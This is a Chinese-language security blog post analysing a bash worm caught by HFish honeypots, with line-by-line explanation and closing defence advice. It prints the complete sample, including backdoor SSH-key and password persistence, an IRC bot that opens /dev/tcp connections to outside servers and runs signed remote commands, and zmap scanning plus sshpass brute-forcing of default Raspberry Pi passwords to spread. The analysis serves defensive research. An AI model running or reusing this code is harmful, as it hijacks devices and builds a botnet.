对HFish蜜罐捕捉到的样本分析

admin 2024年12月10日17:43:57评论19 views字数 7430阅读24分46秒阅读模式

对HFish蜜罐捕捉到的样本分析

文章中系统为开源HFish蜜罐系统

HFish - https://hfish.net/

对HFish蜜罐捕捉到的样本分析

对HFish蜜罐捕捉到的样本分析

而且在全球多个国家的蜜罐节点都采集到了相同脚本,基本在我们130多个节点都捕获到了此样本

(经济原因,节点都是微软云月抛账号开的机器)

对HFish蜜罐捕捉到的样本分析

经查看后样本内容一致,为同一样本,该脚本使用ssh登录部署后门脚本与C2进行通信,并利用当前访问权限进行了横向传播。别问怎么排查的,有个好兄弟(冤种)看了几百个样本文件

样本代码:

对HFish蜜罐捕捉到的样本分析

C0755 4745 Jrss5pr8#!/bin/bashMYSELF=`realpath $0`DEBUG=/dev/nullecho $MYSELF >> $DEBUGif [ "$EUID" -ne 0 ]then   NEWMYSELF=`mktemp -u 'XXXXXXXX'`  sudo cp $MYSELF /opt/$NEWMYSELF  sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"  sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"  sudo sh -c "echo 'exit 0' >> /etc/rc.local"  sleep 1  sudo rebootelseTMP1=`mktemp`echo $TMP1 >> $DEBUGkillall bins.shkillall minerdkillall nodekillall nodejskillall ktx-armv4lkillall ktx-i586killall ktx-m68kkillall ktx-mipskillall ktx-mipselkillall ktx-powerpckillall ktx-sh4killall ktx-sparckillall arm5killall zmapkillall kaitenkillall perlecho "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hostsrm -rf /root/.bashrcrm -rf /home/pi/.bashrcusermod -p $6$vGkGPKUr$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pimkdir -p /root/.sshecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keysecho "nameserver 8.8.8.8" >> /etc/resolv.confrm -rf /tmp/ktx*rm -rf /tmp/cpuminer-multirm -rf /var/tmp/kaitencat > /tmp/public.pem <<EOFMARKER-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJsglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HWrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAFWRq+Z8HYMvPlgSRA3wIDAQAB-----END PUBLIC KEY-----EOFMARKERBOT=`mktemp -u 'XXXXXXXX'`cat > /tmp/$BOT <<'EOFMARKER'#!/bin/bashSYS=`uname -a | md5sum | awk -F' ' '{print $1}'`NICK=a${SYS:24}while [ true ]; do  arr[0]="ix1.undernet.org"  arr[1]="ix2.undernet.org"  arr[2]="Ashburn.Va.Us.UnderNet.org"  arr[3]="Bucharest.RO.EU.Undernet.Org"  arr[4]="Budapest.HU.EU.UnderNet.org"  arr[5]="Chicago.IL.US.Undernet.org"  rand=$[$RANDOM % 6]  svr=${arr[$rand]}  eval 'exec 3<>/dev/tcp/$svr/6667;'  if [[ ! "$?" -eq 0 ]] ; then      continue  fi  echo $NICK  eval 'printf "NICK $NICKrn" >&3;'  if [[ ! "$?" -eq 0 ]] ; then      continue  fi  eval 'printf "USER user 8 * :IRC hirn" >&3;'  if [[ ! "$?" -eq 0 ]] ; then    continue  fi  # Main loop  while [ true ]; do    eval "read msg_in <&3;"    if [[ ! "$?" -eq 0 ]] ; then      break    fi    if  [[ "$msg_in" =~ "PING" ]] ; then      printf "PONG %sn" "${msg_in:5}";      eval 'printf "PONG %srn" "${msg_in:5}" >&3;'      if [[ ! "$?" -eq 0 ]] ; then        break      fi      sleep 1      eval 'printf "JOIN #biretrn" >&3;'      if [[ ! "$?" -eq 0 ]] ; then        break      fi    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then      privmsg_h=$(echo $msg_in| cut -d':' -f 3)      privmsg_data=$(echo $msg_in| cut -d':' -f 4)      privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)      hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`      sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`      if [[ "$sign" == "$hash" ]] ; then        CMD=`echo $privmsg_data | base64 -d -i`        RES=`bash -c "$CMD" | base64 -w 0`        eval 'printf "PRIVMSG $privmsg_nick :$RESrn" >&3;'        if [[ ! "$?" -eq 0 ]] ; then          break        fi      fi    fi  donedoneEOFMARKERchmod +x /tmp/$BOTnohup /tmp/$BOT 2>&1 > /tmp/bot.log &rm /tmp/nohup.log -rfrm -rf nohup.outsleep 3rm -rf /tmp/$BOTNAME=`mktemp -u 'XXXXXXXX'`date > /tmp/.sapt-get update -y --force-yesapt-get install zmap sshpass -y --force-yeswhile [ true ]; do  FILE=`mktemp`  zmap -p 22 -o $FILE -n 100000  killall ssh scp  for IP in `cat $FILE`  do    sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &    sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &  done  rm -rf $FILE  sleep 10donefi

病毒行为:

扫描22端口

对HFish蜜罐捕捉到的样本分析

ssh账号密码暴力破解(pi,树莓派默认用户名)

对HFish蜜罐捕捉到的样本分析

执行命令

对HFish蜜罐捕捉到的样本分析

 我们来看看样本代码。分析一下样本行为,

对HFish蜜罐捕捉到的样本分析

if [ "$EUID" -ne 0 ]

if判断EUID是否等于0,euid=0即=root,用于确保具有root权限

对HFish蜜罐捕捉到的样本分析

mktem创建暂存文件

-u 结束前删除

NEWMYSELF=`mktemp -u 'XXXXXXXX'`

sudo和cp就不用说了吧

拷贝复制到opt目录

sudo cp $MYSELF /opt/$NEWMYSELF

开机自启

sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"

killall掉某些进程

对HFish蜜罐捕捉到的样本分析

killall bins.shkillall minerdkillall nodekillall nodejskillall ktx-armv4lkillall ktx-i586killall ktx-m68kkillall ktx-mipskillall ktx-mipselkillall ktx-powerpckillall ktx-sh4killall ktx-sparckillall arm5killall zmapkillall kaitenkillall perl

疑似黑吃黑

怀疑是把隔壁木马回连解析至127.0.0.1

导致隔壁木马失效

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts

对HFish蜜罐捕捉到的样本分析

删除root和pi账号的用户配置

rm -rf /root/.bashrcrm -rf /home/pi/.bashrc

下面这俩段命令应该是用来维持权限的

对HFish蜜罐捕捉到的样本分析

修改pi的密码

usermod -p $6$vGkGPKUr$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

将rsa公钥写入了/root/.ssh/authorized_keys中,以便攻击者随时登录。

mkdir -p /root/.sshecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

设置服务器dns为8.8.8.8

echo "nameserver 8.8.8.8" >> /etc/resolv.conf

删除一些可能的恶意程序

rm -rf /tmp/ktx*rm -rf /tmp/cpuminer-multirm -rf /var/tmp/kaiten

写入https签名公钥,其实就是证书

对HFish蜜罐捕捉到的样本分析

cat > /tmp/public.pem <<EOFMARKER-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJsglv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HWrXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAFWRq+Z8HYMvPlgSRA3wIDAQAB-----END PUBLIC KEY-----EOFMARKER

对HFish蜜罐捕捉到的样本分析

将uname -a的输出作为md5sum的输入生成32位的md5值

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`

 取sys md5的前24位哈希的前24个字符作为任意昵称,创建循环、定义数组

NICK=a${SYS:24}

在六个域名随机选择一个为回连地址

while [ true ]; do  arr[0]="ix1.undernet.org"  arr[1]="ix2.undernet.org"  arr[2]="Ashburn.Va.Us.UnderNet.org"  arr[3]="Bucharest.RO.EU.Undernet.Org"  arr[4]="Budapest.HU.EU.UnderNet.org"  arr[5]="Chicago.IL.US.Undernet.org"  rand=$[$RANDOM % 6]  svr=${arr[$rand]}

对HFish蜜罐捕捉到的样本分析

  eval 'exec 3<>/dev/tcp/$svr/6667;'  if [[ ! "$?" -eq 0 ]] ; then      continue  fi  echo $NICK  eval 'printf "NICK $NICKrn" >&3;'  if [[ ! "$?" -eq 0 ]] ; then      continue  fi  eval 'printf "USER user 8 * :IRC hirn" >&3;'  if [[ ! "$?" -eq 0 ]] ; then    continue  fi

eval 'exec 3<>/dev/tcp/$svr/6667创建进程

分配文件描述符3

判断是否执行成功

不成功则跳出当前循环再重新进行随机一个域名利用IRC协议(通常用于僵尸网络)进行连接

其中任何指向文件描述符3的命令或数据都会被写入到/dev/tcp/$svr/6667中

对HFish蜜罐捕捉到的样本分析

使用ping进行网络连接检查

通过PONG的响应来确认是否成功建立连接,并将其响应传输到C2服务器

JOIN命令指需要被广播到其他服务器上,这样其他服务器就会知道在哪个频道里可以找到这个client,这就可以实现方便的发送PRIVMAS/NOTICE指令到client。

if  [[ "$msg_in" =~ "PING" ]] ; then

当我们从C2服务器接到指令后

将指令分别cut给三个变量(privmsg_h、privmsg_data、privmsg_nick),通过将privmsg_data的输出进行解码MD5后得到一个新的变量hash,引入第二个变量sign它是privmsg_h的输出通过base64解码再传给openssl rsautl,这里实际对privmsg_h的输出进行了签名在传给了sign。

elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then

下面这里就比较恶心了

对HFish蜜罐捕捉到的样本分析

通过apt安装zmap和sshpass进行22端口扫描以及ssh爆破

用zmap扫描整个互联网

用sshpass验证ssh是否能够连接

扫到树莓派的弱密码,默认密码raspberry

拷贝自身进去,不断复制,并且记录到本地/opt/.r。

使用sshpass登录复制并执行脚本

对HFish蜜罐捕捉到的样本分析

cd /tmp && chmod +x $NAME && bash -c ./$NAME"命令,由此进行横向传播。

在安恒情报社区发现上述c2域名创建自1994年

对HFish蜜罐捕捉到的样本分析

而且早在2007年就已经发现

对HFish蜜罐捕捉到的样本分析

目前网络中已经存在了大量的僵尸主机,由于缺乏检测机制以及安全意识薄弱,企业网络、各类公/私有云,都面临着主机长期被控失陷而不自知的问题。因此对僵尸网络的检测以及预防应加强重视,建议采用堡垒机、IAM类安全产品对登录接口进行统一,登录口令也尽量不要使用默认口令/弱口令,同时增强网络安全意识、加强自身网络安全建设

CSDN - 一个梦字

对HFish蜜罐捕捉到的样本分析

对HFish蜜罐捕捉到的样本分析

原文始发于微信公众号(Ares信息安全):对HFish蜜罐捕捉到的样本分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月10日17:43:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   对HFish蜜罐捕捉到的样本分析https://cn-sec.com/archives/1863887.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息